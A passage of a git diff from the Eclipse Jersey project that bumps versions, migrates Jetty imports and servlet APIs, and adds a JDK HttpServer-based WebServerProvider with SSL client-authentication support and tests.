+ throw new RuntimeException(e);
+ }
+ case ServerProperties.WEBSERVER_AUTO_START:
+ return TRUE;
+ default:
+ return null;
+ }
+ };
+ }
+
+}
\ No newline at end of file
diff --git a/containers/grizzly2-http/src/test/java/org/glassfish/jersey/grizzly2/httpserver/test/application/TestedEndpoint.java b/containers/grizzly2-http/src/test/java/org/glassfish/jersey/grizzly2/httpserver/test/application/TestedEndpoint.java
index 3ad7fb8..0a195f1 100644
--- a/containers/grizzly2-http/src/test/java/org/glassfish/jersey/grizzly2/httpserver/test/application/TestedEndpoint.java
+++ b/containers/grizzly2-http/src/test/java/org/glassfish/jersey/grizzly2/httpserver/test/application/TestedEndpoint.java
@@ -1,5 +1,5 @@
/*
- * Copyright (c) 2021 Payara Foundation and/or its affiliates. All rights reserved.
+ * Copyright (c) 2021, 2022 Payara Foundation and/or its affiliates. All rights reserved.
*
* This program and the accompanying materials are made available under the
* terms of the Eclipse Public License v. 2.0, which is available at
diff --git a/containers/grizzly2-http/src/test/java/org/glassfish/jersey/grizzly2/httpserver/test/tools/JettyHttpClientThread.java b/containers/grizzly2-http/src/test/java/org/glassfish/jersey/grizzly2/httpserver/test/tools/JettyHttpClientThread.java
index 6a09e52..ec3f174 100644
--- a/containers/grizzly2-http/src/test/java/org/glassfish/jersey/grizzly2/httpserver/test/tools/JettyHttpClientThread.java
+++ b/containers/grizzly2-http/src/test/java/org/glassfish/jersey/grizzly2/httpserver/test/tools/JettyHttpClientThread.java
@@ -1,5 +1,5 @@
/*
- * Copyright (c) 2021, 2022 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2021, 2023 Oracle and/or its affiliates. All rights reserved.
* Copyright (c) 2021 Payara Foundation and/or its affiliates. All rights reserved.
*
* This program and the accompanying materials are made available under the
@@ -20,12 +20,12 @@
import java.util.concurrent.atomic.AtomicInteger;
import java.util.concurrent.atomic.AtomicReference;
+import org.eclipse.jetty.client.ContentResponse;
import org.eclipse.jetty.client.HttpClient;
import org.eclipse.jetty.client.HttpClientTransport;
-import org.eclipse.jetty.client.api.ContentResponse;
-import org.eclipse.jetty.client.http.HttpClientTransportOverHTTP;
+import org.eclipse.jetty.client.transport.HttpClientTransportOverHTTP;
import org.eclipse.jetty.http2.client.HTTP2Client;
-import org.eclipse.jetty.http2.client.http.HttpClientTransportOverHTTP2;
+import org.eclipse.jetty.http2.client.transport.HttpClientTransportOverHTTP2;
import org.eclipse.jetty.io.ClientConnector;
import org.eclipse.jetty.util.ssl.SslContextFactory;
import static org.junit.jupiter.api.Assertions.assertEquals;
diff --git a/containers/grizzly2-servlet/pom.xml b/containers/grizzly2-servlet/pom.xml
index 9588708..c8551f1 100644
--- a/containers/grizzly2-servlet/pom.xml
+++ b/containers/grizzly2-servlet/pom.xml
@@ -23,7 +23,7 @@
<parent>
<groupId>org.glassfish.jersey.containers</groupId>
<artifactId>project</artifactId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<artifactId>jersey-container-grizzly2-servlet</artifactId>
@@ -36,7 +36,6 @@
<dependency>
<groupId>jakarta.servlet</groupId>
<artifactId>jakarta.servlet-api</artifactId>
- <version>${servlet5.version}</version>
</dependency>
<dependency>
@@ -72,6 +71,7 @@
<instructions>
<Import-Package>
jakarta.servlet.*;version="[5.0,7.0)",
+ org.glassfish.grizzly.*;version="[3.0,5.0)",
*
</Import-Package>
</instructions>
diff --git a/containers/jdk-http/pom.xml b/containers/jdk-http/pom.xml
index 659b4dc..4416cf4 100644
--- a/containers/jdk-http/pom.xml
+++ b/containers/jdk-http/pom.xml
@@ -23,7 +23,7 @@
<parent>
<groupId>org.glassfish.jersey.containers</groupId>
<artifactId>project</artifactId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<artifactId>jersey-container-jdk-http</artifactId>
@@ -80,45 +80,8 @@
</resources>
</build>
- <profiles>
- <profile>
- <id>jdk11+</id>
- <activation>
- <jdk>[11,)</jdk>
- </activation>
- <properties>
- <!-- https://bugs.openjdk.java.net/browse/JDK-8211426 -->
- <surefire.security.argline>-Djdk.tls.client.protocols=TLSv1.2</surefire.security.argline>
- </properties>
- </profile>
- <profile>
- <id>windows</id>
- <activation>
- <jdk>1.8</jdk>
- <os>
- <family>windows</family>
- </os>
- </activation>
- <build>
- <plugins>
- <plugin>
- <groupId>org.apache.maven.plugins</groupId>
- <artifactId>maven-surefire-plugin</artifactId>
- <configuration>
- <!-- Exclude unit tests regarding JDK HTTP Server because of failing a server shutdown in a class
- with several tests. "java.net.BindException: Address already in use: bind"
- bug reported on https://bugs.openjdk.java.net/browse/JDK-8015692 -->
- <excludes>
- <exclude>org/glassfish/jersey/jdkhttp/BasicJdkHttpServerTest.java</exclude>
- <exclude>org/glassfish/jersey/jdkhttp/JdkHttpPackageTest.java</exclude>
- <exclude>org/glassfish/jersey/jdkhttp/JdkHttpsServerTest.java</exclude>
- <exclude>org/glassfish/jersey/jdkhttp/LifecycleListenerTest.java</exclude>
- </excludes>
- </configuration>
- </plugin>
- </plugins>
- </build>
- </profile>
- </profiles>
-
+ <properties>
+ <!-- https://bugs.openjdk.java.net/browse/JDK-8211426 -->
+ <surefire.security.argline>-Djdk.tls.client.protocols=TLSv1.2</surefire.security.argline>
+ </properties>
</project>
diff --git a/containers/jdk-http/src/main/java/org/glassfish/jersey/jdkhttp/JdkHttpHandlerContainer.java b/containers/jdk-http/src/main/java/org/glassfish/jersey/jdkhttp/JdkHttpHandlerContainer.java
index 1470f22..6349533 100644
--- a/containers/jdk-http/src/main/java/org/glassfish/jersey/jdkhttp/JdkHttpHandlerContainer.java
+++ b/containers/jdk-http/src/main/java/org/glassfish/jersey/jdkhttp/JdkHttpHandlerContainer.java
@@ -64,7 +64,7 @@
private volatile ApplicationHandler appHandler;
/**
- * Create new lightweight Java SE HTTP server container.
+ * Create new lightweight Java SE HTTP server container.
*
* @param application JAX-RS / Jersey application to be deployed on the container.
*/
@@ -73,7 +73,16 @@
}
/**
- * Create new lightweight Java SE HTTP server container.
+ * Create new lightweight Java SE HTTP server container.
+ *
+ * @param applicationClass class of JAX-RS / Jersey application to be deployed on the container.
+ */
+ JdkHttpHandlerContainer(final Class<? extends Application> applicationClass) {
+ this.appHandler = new ApplicationHandler(applicationClass);
+ }
+
+ /**
+ * Create new lightweight Java SE HTTP server container.
*
* @param application JAX-RS / Jersey application to be deployed on the container.
* @param parentContext DI provider specific context with application's registered bindings.
diff --git a/containers/jdk-http/src/main/java/org/glassfish/jersey/jdkhttp/JdkHttpServer.java b/containers/jdk-http/src/main/java/org/glassfish/jersey/jdkhttp/JdkHttpServer.java
new file mode 100644
index 0000000..33d0bcf
--- /dev/null
+++ b/containers/jdk-http/src/main/java/org/glassfish/jersey/jdkhttp/JdkHttpServer.java
@@ -0,0 +1,93 @@
+/*
+ * Copyright (c) 2021, 2022 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2018 Markus KARG. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jdkhttp;
+
+import static jakarta.ws.rs.SeBootstrap.Configuration.SSLClientAuthentication.MANDATORY;
+import static jakarta.ws.rs.SeBootstrap.Configuration.SSLClientAuthentication.OPTIONAL;
+
+import java.util.concurrent.CompletableFuture;
+
+import jakarta.ws.rs.SeBootstrap;
+import jakarta.ws.rs.core.Application;
+
+import org.glassfish.jersey.server.JerseySeBootstrapConfiguration;
+import org.glassfish.jersey.server.spi.WebServer;
+
+import com.sun.net.httpserver.HttpServer;
+
+/**
+ * Jersey {@code Server} implementation based on JDK {@link HttpServer}.
+ *
+ * @author Markus KARG (markus@headcrashing.eu)
+ * @since 3.1.0
+ */
+final class JdkHttpServer implements WebServer {
+
+ private final JdkHttpHandlerContainer container;
+
+ private final HttpServer httpServer;
+
+ JdkHttpServer(final Application application, final JerseySeBootstrapConfiguration configuration) {
+ this(new JdkHttpHandlerContainer(application), configuration);
+ }
+
+ JdkHttpServer(final Class<? extends Application> applicationClass,
+ final JerseySeBootstrapConfiguration configuration) {
+ this(new JdkHttpHandlerContainer(applicationClass), configuration);
+ }
+
+ JdkHttpServer(final JdkHttpHandlerContainer container, final JerseySeBootstrapConfiguration configuration) {
+ final SeBootstrap.Configuration.SSLClientAuthentication sslClientAuthentication = configuration
+ .sslClientAuthentication();
+
+ this.container = container;
+ this.httpServer = JdkHttpServerFactory.createHttpServer(
+ configuration.uri(true),
+ this.container,
+ configuration.sslContext(),
+ sslClientAuthentication == OPTIONAL,
+ sslClientAuthentication == MANDATORY,
+ configuration.autoStart());
+ }
+
+ @Override
+ public final JdkHttpHandlerContainer container() {
+ return this.container;
+ }
+
+ @Override
+ public final int port() {
+ return this.httpServer.getAddress().getPort();
+ }
+
+ @Override
+ public final CompletableFuture<Void> start() {
+ return CompletableFuture.runAsync(this.httpServer::start);
+ }
+
+ @Override
+ public final CompletableFuture<Void> stop() {
+ return CompletableFuture.runAsync(() -> this.httpServer.stop(0));
+ }
+
+ @Override
+ public final <T> T unwrap(final Class<T> nativeClass) {
+ return nativeClass.cast(this.httpServer);
+ }
+
+}
diff --git a/containers/jdk-http/src/main/java/org/glassfish/jersey/jdkhttp/JdkHttpServerFactory.java b/containers/jdk-http/src/main/java/org/glassfish/jersey/jdkhttp/JdkHttpServerFactory.java
index 9b5f8b7..5de6973 100644
--- a/containers/jdk-http/src/main/java/org/glassfish/jersey/jdkhttp/JdkHttpServerFactory.java
+++ b/containers/jdk-http/src/main/java/org/glassfish/jersey/jdkhttp/JdkHttpServerFactory.java
@@ -26,6 +26,7 @@
import jakarta.ws.rs.ProcessingException;
import javax.net.ssl.SSLContext;
+import javax.net.ssl.SSLParameters;
import org.glassfish.jersey.internal.guava.ThreadFactoryBuilder;
import org.glassfish.jersey.jdkhttp.internal.LocalizationMessages;
@@ -37,6 +38,7 @@
import com.sun.net.httpserver.HttpHandler;
import com.sun.net.httpserver.HttpServer;
import com.sun.net.httpserver.HttpsConfigurator;
+import com.sun.net.httpserver.HttpsParameters;
import com.sun.net.httpserver.HttpsServer;
/**
@@ -177,8 +179,17 @@
}
private static HttpServer createHttpServer(final URI uri,
+ final JdkHttpHandlerContainer handler,
+ final SSLContext sslContext,
+ final boolean start) {
+ return createHttpServer(uri, handler, sslContext, false, false, start);
+ }
+
+ static HttpServer createHttpServer(final URI uri,
final JdkHttpHandlerContainer handler,
final SSLContext sslContext,
+ final boolean sslClientAuthWanted,
+ final boolean sslClientAuthNeeded,
final boolean start) {
if (uri == null) {
throw new IllegalArgumentException(LocalizationMessages.ERROR_CONTAINER_URI_NULL());
@@ -187,7 +198,14 @@
final String scheme = uri.getScheme();
final boolean isHttp = "http".equalsIgnoreCase(scheme);
final boolean isHttps = "https".equalsIgnoreCase(scheme);
- final HttpsConfigurator httpsConfigurator = sslContext != null ? new HttpsConfigurator(sslContext) : null;
+ final HttpsConfigurator httpsConfigurator = sslContext != null ? new HttpsConfigurator(sslContext) {
+ public final void configure(final HttpsParameters httpsParameters) {
+ final SSLParameters sslParameters = sslContext.getDefaultSSLParameters();
+ sslParameters.setWantClientAuth(sslClientAuthWanted);
+ sslParameters.setNeedClientAuth(sslClientAuthNeeded);
+ httpsParameters.setSSLParameters(sslParameters);
+ }
+ } : null;
if (isHttp) {
if (httpsConfigurator != null) {
diff --git a/containers/jdk-http/src/main/java/org/glassfish/jersey/jdkhttp/JdkHttpServerProvider.java b/containers/jdk-http/src/main/java/org/glassfish/jersey/jdkhttp/JdkHttpServerProvider.java
new file mode 100644
index 0000000..b9edb30
--- /dev/null
+++ b/containers/jdk-http/src/main/java/org/glassfish/jersey/jdkhttp/JdkHttpServerProvider.java
@@ -0,0 +1,52 @@
+/*
+ * Copyright (c) 2021, 2022 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2018 Markus KARG. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jdkhttp;
+
+import jakarta.ws.rs.SeBootstrap;
+import jakarta.ws.rs.core.Application;
+
+import org.glassfish.jersey.server.JerseySeBootstrapConfiguration;
+import org.glassfish.jersey.server.spi.WebServer;
+import org.glassfish.jersey.server.spi.WebServerProvider;
+
+import com.sun.net.httpserver.HttpServer;
+
+/**
+ * Server provider for servers based on JDK {@link HttpServer}.
+ *
+ * @author Markus KARG (markus@headcrashing.eu)
+ * @since 3.1.0
+ */
+public final class JdkHttpServerProvider implements WebServerProvider {
+
+ @Override
+ public <T extends WebServer> T createServer(final Class<T> type, final Application application,
+ final SeBootstrap.Configuration configuration) {
+ return WebServerProvider.isSupportedWebServer(JdkHttpServer.class, type, configuration)
+ ? type.cast(new JdkHttpServer(application, JerseySeBootstrapConfiguration.from(configuration)))
+ : null;
+ }
+
+ @Override
+ public <T extends WebServer> T createServer(final Class<T> type, final Class<? extends Application> applicationClass,
+ final SeBootstrap.Configuration configuration) {
+ return WebServerProvider.isSupportedWebServer(JdkHttpServer.class, type, configuration)
+ ? type.cast(new JdkHttpServer(applicationClass, JerseySeBootstrapConfiguration.from(configuration)))
+ : null;
+ }
+}
diff --git a/containers/jdk-http/src/main/resources/META-INF/services/org.glassfish.jersey.server.spi.WebServerProvider b/containers/jdk-http/src/main/resources/META-INF/services/org.glassfish.jersey.server.spi.WebServerProvider
new file mode 100644
index 0000000..2d8abc3
--- /dev/null
+++ b/containers/jdk-http/src/main/resources/META-INF/services/org.glassfish.jersey.server.spi.WebServerProvider
@@ -0,0 +1 @@
+org.glassfish.jersey.jdkhttp.JdkHttpServerProvider
\ No newline at end of file
diff --git a/containers/jdk-http/src/test/java/org/glassfish/jersey/jdkhttp/AbstractJdkHttpServerTester.java b/containers/jdk-http/src/test/java/org/glassfish/jersey/jdkhttp/AbstractJdkHttpServerTester.java
index 3886ea9..ad11787 100644
--- a/containers/jdk-http/src/test/java/org/glassfish/jersey/jdkhttp/AbstractJdkHttpServerTester.java
+++ b/containers/jdk-http/src/test/java/org/glassfish/jersey/jdkhttp/AbstractJdkHttpServerTester.java
@@ -21,6 +21,7 @@
import java.util.logging.Level;
import java.util.logging.Logger;
+import javax.net.ssl.SSLContext;
import jakarta.ws.rs.RuntimeType;
import jakarta.ws.rs.core.UriBuilder;
@@ -51,20 +52,21 @@
if (server != null) {
return server.getAddress().getPort();
}
- final String value =
- AccessController.doPrivileged(PropertiesHelper.getSystemProperty("jersey.config.test.container.port"));
+
+ final String value = AccessController.doPrivileged(
+ PropertiesHelper.getSystemProperty("jersey.config.test.container.port"));
if (value != null) {
try {
final int i = Integer.parseInt(value);
- if (i <= 0) {
- throw new NumberFormatException("Value not positive.");
+ if (i < 0) {
+ throw new NumberFormatException("Value is negative.");
}
return i;
} catch (NumberFormatException e) {
LOGGER.log(Level.CONFIG,
"Value of 'jersey.config.test.container.port'"
- + " property is not a valid positive integer [" + value + "]."
+ + " property is not a valid non-negative integer [" + value + "]."
+ " Reverting to default [" + DEFAULT_PORT + "].",
e);
}
@@ -90,17 +92,23 @@
public void startServer(Class... resources) {
ResourceConfig config = new ResourceConfig(resources);
- config.register(LoggingFeature.class);
- final URI baseUri = getBaseUri();
- server = JdkHttpServerFactory.createHttpServer(baseUri, config);
- LOGGER.log(Level.INFO, "jdk-http server started on base uri: " + server.getAddress());
+ startServer(config);
}
public void startServer(ResourceConfig config) {
final URI baseUri = getBaseUri();
config.register(LoggingFeature.class);
server = JdkHttpServerFactory.createHttpServer(baseUri, config);
- LOGGER.log(Level.INFO, "jdk-http server started on base uri: " + server.getAddress());
+ LOGGER.log(Level.INFO, "jdk-http server started on base uri: " + getBaseUri());
+ }
+
+ public HttpServer startServer(final URI uri, final ResourceConfig config,
+ final SSLContext sslContext, final boolean start) {
+ config.register(LoggingFeature.class);
+ server = JdkHttpServerFactory.createHttpServer(uri, config, sslContext, start);
+ LOGGER.log(Level.INFO,
+ "jdk-http server started on base uri: " + UriBuilder.fromUri(uri).port(getPort()).build());
+ return server;
}
public URI getBaseUri() {
diff --git a/containers/jdk-http/src/test/java/org/glassfish/jersey/jdkhttp/JdkHttpServerProviderTest.java b/containers/jdk-http/src/test/java/org/glassfish/jersey/jdkhttp/JdkHttpServerProviderTest.java
new file mode 100644
index 0000000..f831890
--- /dev/null
+++ b/containers/jdk-http/src/test/java/org/glassfish/jersey/jdkhttp/JdkHttpServerProviderTest.java
@@ -0,0 +1,195 @@
+/*
+ * Copyright (c) 2021, 2023 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2018 Markus KARG. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jdkhttp;
+
+import static java.lang.Boolean.FALSE;
+import static org.hamcrest.CoreMatchers.is;
+import static org.hamcrest.CoreMatchers.nullValue;
+import static org.hamcrest.MatcherAssert.assertThat;
+import static org.hamcrest.Matchers.greaterThan;
+import static org.hamcrest.Matchers.instanceOf;
+
+import java.security.AccessController;
+import java.security.NoSuchAlgorithmException;
+import java.util.Collections;
+import java.util.Set;
+import java.util.concurrent.CompletionStage;
+import java.util.concurrent.ExecutionException;
+import java.util.concurrent.TimeUnit;
+import java.util.logging.Level;
+import java.util.logging.Logger;
+
+import javax.net.ssl.SSLContext;
+import jakarta.ws.rs.GET;
+import jakarta.ws.rs.SeBootstrap;
+import jakarta.ws.rs.SeBootstrap.Configuration.SSLClientAuthentication;
+import jakarta.ws.rs.Path;
+import jakarta.ws.rs.client.ClientBuilder;
+import jakarta.ws.rs.core.Application;
+import jakarta.ws.rs.core.UriBuilder;
+
+import org.glassfish.jersey.internal.util.PropertiesHelper;
+import org.glassfish.jersey.server.ServerProperties;
+import org.glassfish.jersey.server.spi.Container;
+import org.glassfish.jersey.server.spi.WebServer;
+import org.glassfish.jersey.server.spi.WebServerProvider;
+
+import com.sun.net.httpserver.HttpServer;
+import org.junit.jupiter.api.Test;
+import org.junit.jupiter.api.Timeout;
+
+/**
+ * Unit tests for {@link JdkHttpServerProvider}.
+ *
+ * @author Markus KARG (markus@headcrashing.eu)
+ * @since 3.1.0
+ */
+public final class JdkHttpServerProviderTest {
+
+ @Test
+ @Timeout(value = 15000L, unit = TimeUnit.MILLISECONDS)
+ public void shouldProvideServer() throws InterruptedException, ExecutionException {
+ // given
+ final Resource resource = new Resource();
+ shouldProvideServer(ShouldProvideServerApplication.class, resource);
+ }
+
+ @Test
+ @Timeout(value = 15000L, unit = TimeUnit.MILLISECONDS)
+ public void shouldProvideServerWithClass() throws InterruptedException, ExecutionException {
+ // given
+ final Resource resource = new Resource();
+ final Application application = new ShouldProvideServerApplication();
+ shouldProvideServer(application.getClass(), resource);
+ }
+
+ private void shouldProvideServer(final Object application, final Resource resource)
+ throws InterruptedException, ExecutionException {
+ // given
+ final WebServerProvider webServerProvider = new JdkHttpServerProvider();
+ final SeBootstrap.Configuration configuration = configuration(getPort());
+
+ // when
+ final WebServer webServer = Application.class.isInstance(application)
+ ? webServerProvider.createServer(WebServer.class, (Application) application, configuration)
+ : webServerProvider.createServer(WebServer.class, (Class<Application>) application, configuration);
+ final Object nativeHandle = webServer.unwrap(Object.class);
+ final CompletionStage<?> start = webServer.start();
+ final Object startResult = start.toCompletableFuture().get();
+ final Container container = webServer.container();
+ final int port = webServer.port();
+ final String entity = ClientBuilder.newClient()
+ .target(UriBuilder.newInstance().scheme("http").host("localhost").port(port).build()).request()
+ .get(String.class);
+ final CompletionStage<?> stop = webServer.stop();
+ final Object stopResult = stop.toCompletableFuture().get();
+
+ // then
+ assertThat(webServer, is(instanceOf(JdkHttpServer.class)));
+ assertThat(nativeHandle, is(instanceOf(HttpServer.class)));
+ assertThat(startResult, is(nullValue()));
+ assertThat(container, is(instanceOf(JdkHttpHandlerContainer.class)));
+ assertThat(port, is(greaterThan(0)));
+ assertThat(entity, is(resource.toString()));
+ assertThat(stopResult, is(nullValue()));
+ }
+
+ @Path("/")
+ protected static final class Resource {
+ @GET
+ @Override
+ public String toString() {
+ return Resource.class.getName();
+ }
+ }
+
+ protected static class ShouldProvideServerApplication extends Application {
+ @Override
+ public Set<Object> getSingletons() {
+ return Collections.singleton(new Resource());
+ }
+ }
+
+ private static final Logger LOGGER = Logger.getLogger(JdkHttpServerProviderTest.class.getName());
+
+ private static final int DEFAULT_PORT = 0;
+
+ private static final int getPort() {
+ final String value = AccessController
+ .doPrivileged(PropertiesHelper.getSystemProperty("jersey.config.test.container.port"));
+ if (value != null) {
+ try {
+ final int i = Integer.parseInt(value);
+ if (i < 0) {
+ throw new NumberFormatException("Value is negative.");
+ }
+ return i;
+ } catch (final NumberFormatException e) {
+ LOGGER.log(Level.CONFIG,
+ "Value of 'jersey.config.test.container.port'"
+ + " property is not a valid non-negative integer [" + value + "]."
+ + " Reverting to default [" + DEFAULT_PORT + "].",
+ e);
+ }
+ }
+
+ return DEFAULT_PORT;
+ }
+
+ @Test
+ @Timeout(value = 15000L, unit = TimeUnit.MILLISECONDS)
+ public final void shouldScanFreePort() throws InterruptedException, ExecutionException {
+ // given
+ final WebServerProvider webServerProvider = new JdkHttpServerProvider();
+ final Application application = new Application();
+ final SeBootstrap.Configuration configuration = configuration(SeBootstrap.Configuration.FREE_PORT);
+
+ // when
+ final WebServer webServer = webServerProvider.createServer(WebServer.class, application, configuration);
+
+ // then
+ assertThat(webServer.port(), is(greaterThan(0)));
+ }
+
+ private SeBootstrap.Configuration configuration(int port) {
+ return (SeBootstrap.Configuration) name -> {
+ switch (name) {
+ case SeBootstrap.Configuration.PROTOCOL:
+ return "HTTP";
+ case SeBootstrap.Configuration.HOST:
+ return "localhost";
+ case SeBootstrap.Configuration.PORT:
+ return port;
+ case SeBootstrap.Configuration.ROOT_PATH:
+ return "/";
+ case SeBootstrap.Configuration.SSL_CLIENT_AUTHENTICATION:
+ return SSLClientAuthentication.NONE;
+ case SeBootstrap.Configuration.SSL_CONTEXT:
+ try {
+ return SSLContext.getDefault();
+ } catch (final NoSuchAlgorithmException e) {
+ throw new RuntimeException(e);
+ }
+ case ServerProperties.WEBSERVER_AUTO_START:
+ return FALSE;
+ default:
+ return null;
+ }
+ };
+ }
+}
\ No newline at end of file
diff --git a/containers/jdk-http/src/test/java/org/glassfish/jersey/jdkhttp/JdkHttpsServerTest.java b/containers/jdk-http/src/test/java/org/glassfish/jersey/jdkhttp/JdkHttpsServerTest.java
index 01e9e34..2b912d8 100644
--- a/containers/jdk-http/src/test/java/org/glassfish/jersey/jdkhttp/JdkHttpsServerTest.java
+++ b/containers/jdk-http/src/test/java/org/glassfish/jersey/jdkhttp/JdkHttpsServerTest.java
@@ -99,7 +99,7 @@
@Test
public void testStartHttpServerNoSslContext() throws Exception {
assertThrows(IllegalArgumentException.class,
- () -> JdkHttpServerFactory.createHttpServer(httpsUri, rc, null, true));
+ () -> JdkHttpServerFactory.createHttpServer(httpsUri, rc, null, true));
}
/**
@@ -228,4 +228,4 @@
server = null;
}
}
-}
+}
\ No newline at end of file
diff --git a/containers/jersey-servlet-core/pom.xml b/containers/jersey-servlet-core/pom.xml
index 5985e69..14d4249 100644
--- a/containers/jersey-servlet-core/pom.xml
+++ b/containers/jersey-servlet-core/pom.xml
@@ -23,7 +23,7 @@
<parent>
<groupId>org.glassfish.jersey.containers</groupId>
<artifactId>project</artifactId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<artifactId>jersey-container-servlet-core</artifactId>
@@ -36,7 +36,7 @@
<dependency>
<groupId>jakarta.servlet</groupId>
<artifactId>jakarta.servlet-api</artifactId>
- <version>${servlet5.version}</version>
+ <version>${servlet6.version}</version>
<scope>provided</scope>
</dependency>
<dependency>
diff --git a/containers/jersey-servlet-core/src/main/java/org/glassfish/jersey/servlet/ServletContainer.java b/containers/jersey-servlet-core/src/main/java/org/glassfish/jersey/servlet/ServletContainer.java
index 147ce8c..19810fa 100644
--- a/containers/jersey-servlet-core/src/main/java/org/glassfish/jersey/servlet/ServletContainer.java
+++ b/containers/jersey-servlet-core/src/main/java/org/glassfish/jersey/servlet/ServletContainer.java
@@ -318,8 +318,7 @@
final Response.Status badRequest = Response.Status.BAD_REQUEST;
if (webComponent.configSetStatusOverSendError) {
response.reset();
- //noinspection deprecation
- response.setStatus(badRequest.getStatusCode(), badRequest.getReasonPhrase());
+ response.setStatus(badRequest.getStatusCode());
} else {
response.sendError(badRequest.getStatusCode(), badRequest.getReasonPhrase());
}
diff --git a/containers/jersey-servlet-core/src/main/java/org/glassfish/jersey/servlet/WebComponent.java b/containers/jersey-servlet-core/src/main/java/org/glassfish/jersey/servlet/WebComponent.java
index 59b1da9..584aef0 100644
--- a/containers/jersey-servlet-core/src/main/java/org/glassfish/jersey/servlet/WebComponent.java
+++ b/containers/jersey-servlet-core/src/main/java/org/glassfish/jersey/servlet/WebComponent.java
@@ -1,5 +1,5 @@
/*
- * Copyright (c) 2012, 2022 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2012, 2023 Oracle and/or its affiliates. All rights reserved.
*
* This program and the accompanying materials are made available under the
* terms of the Eclipse Public License v. 2.0, which is available at
@@ -401,8 +401,7 @@
if (configSetStatusOverSendError) {
servletResponse.reset();
- //noinspection deprecation
- servletResponse.setStatus(status.getStatusCode(), status.getReasonPhrase());
+ servletResponse.setStatus(status.getStatusCode());
} else {
servletResponse.sendError(status.getStatusCode(), status.getReasonPhrase());
}
diff --git a/containers/jersey-servlet-core/src/main/java/org/glassfish/jersey/servlet/internal/ResponseWriter.java b/containers/jersey-servlet-core/src/main/java/org/glassfish/jersey/servlet/internal/ResponseWriter.java
index 31b8f93..5059c30 100644
--- a/containers/jersey-servlet-core/src/main/java/org/glassfish/jersey/servlet/internal/ResponseWriter.java
+++ b/containers/jersey-servlet-core/src/main/java/org/glassfish/jersey/servlet/internal/ResponseWriter.java
@@ -144,7 +144,7 @@
final String reasonPhrase = responseContext.getStatusInfo().getReasonPhrase();
if (reasonPhrase != null) {
- response.setStatus(responseContext.getStatus(), reasonPhrase);
+ response.setStatus(responseContext.getStatus());
} else {
response.setStatus(responseContext.getStatus());
}
@@ -217,7 +217,7 @@
if (configSetStatusOverSendError) {
response.reset();
//noinspection deprecation
- response.setStatus(Response.Status.INTERNAL_SERVER_ERROR.getStatusCode(), "Request failed.");
+ response.setStatus(Response.Status.INTERNAL_SERVER_ERROR.getStatusCode());
} else {
response.sendError(Response.Status.INTERNAL_SERVER_ERROR.getStatusCode(), "Request failed.");
}
diff --git a/containers/jersey-servlet/pom.xml b/containers/jersey-servlet/pom.xml
index e47c6f2..352e105 100644
--- a/containers/jersey-servlet/pom.xml
+++ b/containers/jersey-servlet/pom.xml
@@ -23,7 +23,7 @@
<parent>
<groupId>org.glassfish.jersey.containers</groupId>
<artifactId>project</artifactId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<artifactId>jersey-container-servlet</artifactId>
@@ -36,7 +36,7 @@
<dependency>
<groupId>jakarta.servlet</groupId>
<artifactId>jakarta.servlet-api</artifactId>
- <version>${servlet5.version}</version>
+ <version>${servlet6.version}</version>
<scope>provided</scope>
</dependency>
diff --git a/containers/jetty-http/pom.xml b/containers/jetty-http/pom.xml
index ce0768d..292939f 100644
--- a/containers/jetty-http/pom.xml
+++ b/containers/jetty-http/pom.xml
@@ -23,7 +23,7 @@
<parent>
<artifactId>project</artifactId>
<groupId>org.glassfish.jersey.containers</groupId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<artifactId>jersey-container-jetty-http</artifactId>
@@ -32,6 +32,13 @@
<description>Jetty Http Container</description>
+ <properties>
+ <java11.build.outputDirectory>${project.basedir}/target</java11.build.outputDirectory>
+ <java11.sourceDirectory>${project.basedir}/src/main/java11</java11.sourceDirectory>
+ <java17.build.outputDirectory>${project.basedir}/target17</java17.build.outputDirectory>
+ <java17.sourceDirectory>${project.basedir}/src/main/java17</java17.sourceDirectory>
+ </properties>
+
<dependencies>
<dependency>
<groupId>jakarta.inject</groupId>
@@ -59,12 +66,11 @@
<dependency>
<groupId>jakarta.servlet</groupId>
<artifactId>jakarta.servlet-api</artifactId>
- <version>${servlet5.version}</version>
<scope>provided</scope>
</dependency>
<dependency>
<groupId>org.eclipse.jetty</groupId>
